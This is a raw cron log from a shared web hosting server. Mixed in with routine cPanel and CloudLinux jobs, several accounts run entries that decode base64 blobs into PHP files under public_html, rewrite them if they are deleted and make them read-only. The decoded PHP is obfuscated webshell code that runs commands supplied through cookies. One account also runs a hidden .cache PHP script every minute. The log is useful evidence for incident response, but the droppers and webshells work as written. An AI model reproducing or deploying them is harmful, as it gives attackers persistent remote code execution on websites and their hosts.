Jun  7 10:04:01 medusa CROND[6734]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:05:01 medusa CROND[8605]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:05:01 medusa CROND[8652]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:05:01 medusa CROND[8653]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:05:01 medusa CROND[8654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:05:01 medusa CROND[8655]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:05:01 medusa CROND[8656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:05:01 medusa CROND[8657]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:05:01 medusa CROND[8658]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:05:01 medusa CROND[8659]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:05:01 medusa CROND[8660]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:05:01 medusa CROND[8661]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:05:01 medusa CROND[8662]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:05:01 medusa CROND[8667]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:05:01 medusa CROND[8668]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:05:01 medusa CROND[8670]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:05:01 medusa CROND[8669]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 10:05:01 medusa CROND[8673]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:05:01 medusa CROND[8675]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:05:01 medusa CROND[8674]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:05:01 medusa CROND[8665]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:05:01 medusa CROND[8672]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 10:05:01 medusa CROND[8683]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:05:01 medusa CROND[8684]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:05:01 medusa CROND[8688]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:06:01 medusa CROND[10472]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:06:01 medusa CROND[10477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:06:01 medusa CROND[10485]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:06:01 medusa CROND[10486]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:06:01 medusa CROND[10487]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:06:01 medusa CROND[10488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:06:01 medusa CROND[10489]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:06:01 medusa CROND[10490]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:06:01 medusa CROND[10494]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:06:01 medusa CROND[10496]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:06:01 medusa CROND[10498]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:06:01 medusa CROND[10502]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:06:01 medusa CROND[10504]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:06:01 medusa CROND[10495]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
